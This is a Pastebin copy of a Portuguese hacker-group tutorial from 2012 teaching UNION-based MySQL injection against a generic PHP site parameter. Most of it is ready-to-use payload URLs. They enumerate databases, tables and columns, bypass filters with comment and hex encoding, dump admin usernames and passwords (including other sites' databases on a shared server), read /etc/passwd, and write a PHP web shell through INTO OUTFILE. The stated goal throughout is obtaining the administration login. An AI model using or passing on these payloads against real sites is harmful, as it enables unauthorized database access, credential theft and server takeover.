KillerRootOficiaL

[ Paper ] - MySQL Injection Simples

Oct 17th, 2015
243
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.79 KB | None | 0 0
  1. Encode: UTF-8
  2. _,.-------.,_
  3. ,;~' '~;,
  4. ,; ;,
  5. ; ;
  6. ,' ',
  7. ,; ;,
  8. ; ; . . ; ;
  9. | ; ______ ______ ; |
  10. | `/~" ~" . "~ "~\' |
  11. | ~ ,-~~~^~, | ,~^~~~-, ~ |
  12. | | }:{ | |
  13. | l / | \ ! |
  14. .~ (__,.--" .^. "--.,__) ~.
  15. | ---;' / | \ `;--- |
  16. \__. \/^\/ .__/
  17. V| \ / |V
  18. | |T~\___!___!___/~T| |
  19. | |`IIII_I_I_I_IIII'| |
  20. | \,III I I I III,/ |
  21. \ `~~~~~~~~~~' /
  22. \ . . /
  23. \. ^ ./
  24. ^~~~^~~~^
  25.  
  26. - MySQL Injection Simples -
  27. - Maio de 2012 -
  28.  
  29. Greatz for L1sbeth and P0cl4bs Team.
  30. https://github.com/P0cL4bs
  31.  
  32. |=[ Indice ]=--------------------------------------------------------------------=|
  33. | 0x01 - Introdução..........................................do que falaremos aqui|
  34. | 0x02 - Iniciando ataque.......................................................go|
  35. | 0x03 - Capturando informações..................qualquer informação pode ser útil|
  36. | 0x04 - Passando pelos filtros...............maneiras de se burlar alguns filtros|
  37. | 0x05 - Dumpando...............................................................=)|
  38. | 0x06 - Extras.............................................algumas funções extras|
  39. | 0x0a - Fim............................................................hora de ir|
  40. | 0x0b - Links..........................................Links para os interessados|
  41. |=-------------------------------------------------------------------------------=|
  42.  
  43. |=[ 0x01 - Introdução ]=---------------------------------------------------------=|
  44.  
  45. Olá, neste texto estarei exemplificando como seria um ataque de MySQL Injection
  46. simples, vou procurar ser o mais "direto ao ponto" possível, espero que isto sirva
  47. de ajuda para alguém...
  48. Apesar de isso de SQL injection ter de sobra na internet, achei que seria legal
  49. escrever sobre também, talvez você encontre algo útil aqui =)
  50.  
  51.  
  52. |=[ 0x02 - Iniciando ataque ]=---------------------------------------------------=|
  53.  
  54. Antes de de tudo, veremos qual o nosso vetor de ataque, digo, o que tenhamos que
  55. fazer, o processo a ser realizadao, no nosso caso seria:
  56.  
  57. 0x02a - Verificar se o site é vulnerável
  58. 0x02b - Verificar o numero de colunas
  59. 0x02c - Vendo para onde vão os dados
  60.  
  61. 0x02a - Primeiramente, verificamos se o site é vulnerável, para isso basta colocar
  62. uma aspa simples do final da URL, ficando assim:
  63.  
  64. categoria.php?id=9'
  65.  
  66. Se o site estiver provavelmente vulnerável, será retornado algum tipo de erro,
  67. tal como:
  68.  
  69. Cannot get new's products. You have an error in your SQL syntax; check the manual
  70. that corresponds to your MySQL server version for the right syntax to use near '\'
  71. and lingua = 'En'' at line 3
  72.  
  73. ou algo como:
  74.  
  75. Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource
  76. in /home/site01/www/categoria.php on line 8
  77.  
  78. 0x02b - Assim que achar o site supostamente vulnerável, vamos ter que verificar o
  79. número de colunas existentes na tabela atual, para isso façamos:
  80.  
  81. categoria.php?id=9 order by 1--+ <-- não deu erro na página.
  82. categoria.php?id=9 order by 2--+ <-- não deu erro na página.
  83. categoria.php?id=9 order by 3--+ <-- não deu erro na página.
  84. categoria.php?id=9 order by 4--+ <-- não deu erro na página.
  85. categoria.php?id=9 order by 5--+ <-- não deu erro na página.
  86. categoria.php?id=9 order by 6--+ <-- não deu erro na página.
  87. categoria.php?id=9 order by 7--+ <-- deu erro aqui!
  88.  
  89. Cannot get new's products. Unknown column '7' in 'order clause'
  90.  
  91. O erro diz que a coluna '7' nao existe, ou seja, existem apenas as colunas de 1 a
  92. 6.
  93. |=[ 0x02 - Iniciando ataque ]=---------------------------------------------------=|
  94. 0x02c - Agora tenhos que saber para onde vao os dados, digo, para que possamos
  95. visualizar os dados na página do site, para isso teremos fazeremos o uso do
  96. "UNION", que serve para unir tudo, ficando:
  97.  
  98. categoria.php?id=-9 UNION ALL SELECT 1,2,3,4,5,6--+
  99.  
  100. Fazendo com que seja impresso na tela um número correspondente ao número das colunas,
  101. usaremos desse número de saida para onde enviaremos os dados que queremos obter.
  102. Observe também que negativamos o valor(id=-9) para que o conteúdo não seja retornado
  103. e colocamos sempre um "--+" no final da URl para que o conteúdo restante da query nao
  104. seja executado.
  105.  
  106. Obs: no id podemos tanto negativarmos o valor quanto podemos também usar o NULL,
  107. ficando assim:
  108.  
  109. categoria.php?id=NULL UNION ALL SELECT 1,2,3,4,5,6--+
  110.  
  111.  
  112. |=[ 0x03 - Capturando informações ]=---------------------------------------------=|
  113.  
  114. Ao utilizarmos o "UNION" para ver pra onde vão nossos dados, digamos que o número
  115. 3 foi impresso na página, então utilizaremos dele para que possamos visualizar os
  116. dados trazidos do banco de dado, ficando assim:
  117.  
  118. categoria.php?id=NULL UNION ALL SELECT 1,2,version(),4,5,6--+
  119.  
  120. Será impresso na tela a versão do banco de dados atual no lugar onde o número 3
  121. tinha cido impresso, no meu caso foi retornado:
  122.  
  123. 5.1.52-community
  124.  
  125. Para obter vários dados em apenas um campo, usaremos o concat(), ficando assim:
  126.  
  127. categoria.php?id=NULL UNION ALL SELECT 1,2,concat(version(),0x3d,user()),4,5,6--+
  128.  
  129. E tendo como saída:
  130.  
  131. 5.1.52-community=root@localhost
  132.  
  133. Onde:
  134. version() = retorna a versão do MySQL, no caso "5.1.52-community"
  135. 0x3d = caracter de igualdade ta tabela ASCII, sendo ele "="
  136. user() = retorna o nome do usuario atual do banco de dados seguido do host, no
  137. caso "root@localhost"
  138.  
  139. Abaixo segue uma lista das funções do MySQL para obter informações mais detalhadas
  140. e que seriam de grande ajuda em um ataque mais sério por assim dizer:
  141.  
  142. version() : Versão do MySQL
  143. @@version : Versão do MySQL
  144. @@tmpdit : Diretório temporário
  145. @@datadir : Diretório de alguns arquivos que são de uso do MySQL
  146. @@basedir : Diretírio base
  147. database() : Nome do banco de dados atual
  148. now() : Horário
  149. user() : Usuário
  150. current_user() : Usuário
  151. system_user() : Usuário
  152. session_user() : Usuário
  153. concat() : Concatenação
  154. group_concat() : Concatenar todo o grupo(mais a frente faremos o uso do mesmo)
  155. concat_ws() : Contatena com separação
  156.  
  157.  
  158. |=[ 0x04 - Passando pelos filtros ]=---------------------------------------------=|
  159.  
  160. Algumas maneiras de se passar pelos filtros, são por exemplo:
  161.  
  162. * Substituir os espaços por /**/ ou pelo operador de adição "+" ficando assim:
  163.  
  164. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/1,2,concat(user()),4,5,6--+
  165. categoria.php?id=-NULL+UNION+ALL+SELECT+1,2,concat(user()),4,5,6--+
  166.  
  167. * Substituir os números das colunas que estão em decimal, por hexadecimal, ficando:
  168.  
  169. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,concat(user()),0x34,0x35,0x36--+
  170.  
  171. Onde os valores:
  172. 0x31 = 1
  173. 0x32 = 2
  174. 0x34 = 4
  175. 0x35 = 5
  176. 0x36 = 6
  177.  
  178. * Substituir as strings, como nome das tabelas, campos, banco de dados por strings
  179. em hexadecimal, como veremos mais a diante com exemplos práticos...
  180.  
  181.  
  182. |=[ 0x05 - Dumpando ]=-----------------------------------------------------------=|
  183.  
  184. Primeiramente temos que tem em mente, quais seram as informações que vamos nescessitar
  185. para até que conseguimos obter o que nos interessa, que é o login de administração...
  186.  
  187. Temos que ter em mãos entao:
  188. * Todas as base de dados do servidor
  189. * Tabelas que nos interessa
  190. * Campos dessas tabelas
  191. * Dados dos campos(login, senha...)
  192.  
  193. Para obtermos todas as base de dados de um servidor, faremos:
  194.  
  195. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,group_concat(schema_name),0x34,0x35,0x36/**/from/**/information_schema.schemata--+
  196.  
  197. Lembrando que estamos usando sempre o /**/ no lugar dos espaços, fizemos aqui o
  198. uso do group_concat para concatenar todas as base de dados de uma vez, observe que
  199. colocamos o schema_name que será onde os dados serao impressos por assim dizer, para que
  200. possamos visualizar o conteudo, colocamos dentro do group_concat que está na coluna 3
  201. assim obtemos todas as base de dados do servidor, podemos também visualizar uma a
  202. uma fazendo o uso do limit, ficando assim:
  203.  
  204. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,concat(schema_name),0x34,0x35,0x36/**/from/**/information_schema.schemata/**/limit/**/0,1--+
  205.  
  206. E vamos alterando o valor do limit, onde esta 0,1 para 1,1 depois 2,1 e assim
  207. sucessivamente, até chegarmos no final. Observe que desta vez usamos o concat e não
  208. o group_concat, se fizermos o uso do group_concat não se tem nescessidade de usar
  209. o limit.
  210.  
  211. Agora tenhamos que pegar os nomes das tabelas das base de dados que nos interessa
  212. digamos que estavamos dumpando o site, e vimos que no mesmo banco de dados tem mais
  213. algumas base de dados que são de outros sites, só que no outro site não conseguimos
  214. dumpar mas atravez do site vuln que achamos podemos dumpar o banco de dados do outro
  215. site, suponhamos que a base de dados do outro site chama-se "db_blog01" e a do nosso
  216. site que estamos dumpando chama-se "db_blog02", lembrando que para pegar o nome do
  217. database atual basta usarmos a função database(), ok, vamos então dumpar o "db_blog01"
  218. que se refere ao banco de dados do outro site, para visualizarmos as tabelas fassamos:
  219.  
  220. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,group_concat(table_name),0x34,0x35,0x36/**/from/**/information_schema.tables/**/where/**/table_schema=0x64625f626c6f673031--+
  221.  
  222. Para ficar mais claro, vamos analizar...
  223.  
  224. 0x64625f626c6f673031 : o nome da base de dados em hexadecimal, no caso "db_blog01".
  225. Observe que desta vez fizemos o uso do table_name, para visualizarmos as tabelas da
  226. base de dados atual basta substituir o nome da base de dados em hexadecimal pelo
  227. nome do nosso database ou usarmos a função database() no lugar do mesmo, ficando:
  228.  
  229. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,group_concat(table_name),0x34,0x35,0x36/**/from/**/information_schema.tables/**/where/**/table_schema=database()--+
  230.  
  231. Observe também que do mesmo modo que fizemos o uso do limit para obter as base de
  232. dados, podemos fazer o uso do mesmo para visualizar as tabelas, bastando coloca-lo
  233. no final da URL e mudando o group_concat() por concat() e ir manipulando o limit
  234. alterando seus valores de 0,1 para 1,1 e assim sucessivamente, ficando assim:
  235.  
  236. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,concat(table_name),0x34,0x35,0x36/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1--+
  237.  
  238. A essa altura, já temos em mãos todas as base de dados existentes e os nomes das
  239. tabelas das base de dados que nos interessa(que quisermos dumpar), vamos agora
  240. então visualizar os campos das tabelas que nos interessa, no nosso caso sendo ela a
  241. tabela "admin" do database atual, ficando:
  242.  
  243. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,group_concat(column_name),0x34,0x35,0x36/**/from/**/information_schema.columns/**/where/**/table_name=0x61646d696e/**/and/**/table_schema=database()--+
  244.  
  245. Para ficar mais claro, vamos analizar...
  246.  
  247. 0x61646d696e : Nome da nossa tabela em hexadecimal, no caso "admin"
  248.  
  249. Para visualizar os campos de uma tabela de outra base de dados, basta por também
  250. o nome da outra tabela, e em database() poe o nome da base de dados correspondente
  251. em hexadecimal, suponhamos que na outra base de dados também tenha uma tabela chamada
  252. "admin" e o nome da base de dados seria "db_blog01" que em hex fica "0x64625f626c6f673031"
  253. ficando então assim:
  254.  
  255. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,group_concat(column_name),0x34,0x35,0x36/**/from/**/information_schema.columns/**/where/**/table_name=0x61646d696e/**/and/**/table_schema=0x64625f626c6f673031--+
  256.  
  257. Agora vamos obter os dados dos campos da tabela dumpada, suponhamos que de retorno
  258. tivemos que a tabela "admin" tem os campos "usuario" e "senha" e queremos ver os
  259. dados desses campos, antes de continuar tenhamos que ter em mãos os seguintes dados:
  260.  
  261. * Nome da dase de dados
  262. * Tabela desejada
  263. * Campos dessa tabela
  264.  
  265. Para obter o nome da base de dados, como ja foi mencionado acima, basta usar a
  266. função database(), ficando assim:
  267.  
  268. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,concat(database()),0x34,0x35,0x36--+
  269.  
  270. Então vamos rever, o que temos em mãos são:
  271.  
  272. Base de dados : db_blog02
  273. Tabela: admin
  274. Campos: usuario,senha
  275.  
  276. Fazemos agora:
  277.  
  278. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,concat_ws(0x3a,usuario,senha),0x34,0x35,0x36/**/from/**/db_blog02.admin--+
  279.  
  280. Fazendo com que os dados dos campos usuario e senha sejam impressos na página do
  281. site. Observe que desta vez fizemos o uso do concat_ws seguido do 0x3a que corres-
  282. ponde ao caracter ":", ficando assim mais organizado...
  283.  
  284.  
  285. |=[ 0x06 - Extras ]=-------------------------------------------------------------=|
  286.  
  287. Algumas funções do MySQL que também são boas e podem servir também para passar
  288. pelos filtros:
  289.  
  290.  
  291.  
  292. UNHEX(HEX('string')), exemplo pegando o nome da base de dados usando o concat(),
  293. unhex() e hex():
  294. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,concat(UNHEX(HEX(database()))),0x34,0x35,0x36--+
  295.  
  296. Podemos também utilizar o file_load() para carregar arquivos do sistem... ex:
  297. categoria.php?id=-NULL/**/UNION/**/ALL/**/SELECT/**/0x31,0x32,file_load('/etc/passwd'),0x34,0x35,0x36--+
  298.  
  299. Podemos tambem criar uma cmd dentro do site utilizando o INTO OUTFILE, fazendo:
  300. union+select+'< ? system($REQUEST['command']); ?>' into outfile '/home/site01/www/cmd.php'--
  301.  
  302. Dentre muitas outras funções...
  303.  
  304.  
  305. |=[ 0x0a - Fim ]=-==-------------------------------------------------------------=|
  306.  
  307. Bom, vou ficando por aqui, esse é um paper bem básico, é claro que existem vários
  308. outros métodos de se fazer bypass etc, mas espero que algum dia seja de serventia
  309. para alguem interessado...
  310.  
  311. Agradeço muito a meus amigos e a todos que me ajudam, e é claro, agradeço muito a
  312. você que está lendo isso aqui ;)
  313.  
  314. Bom, hora de ir, espero que tenha gostado, até a próxima!
  315.  
  316.  
  317. |=[ 0x0b - Links ]=--------------------------------------------------------------=|
  318.  
  319. Segue abaixo alguns links que podem servir de ajuda, como tabelas ancii, conversor
  320. de string de hex pra string e vice-versa...
  321.  
  322. http://www.asciitable.com/
  323. http://www.string-functions.com/string-hex.aspx
  324. http://www.string-functions.com/hex-string.aspx
  325. http://dev.mysql.com/doc/refman/5.5/en/string-functions.html
  326.  
  327. Visitem ae: http://constantine.sourceforge.net/
  328.  
  329.  
  330. |=[ EOF - Até a próxima ]=-------------------------------------------------------=|
Advertisement
Add Comment
Please, Sign In to add comment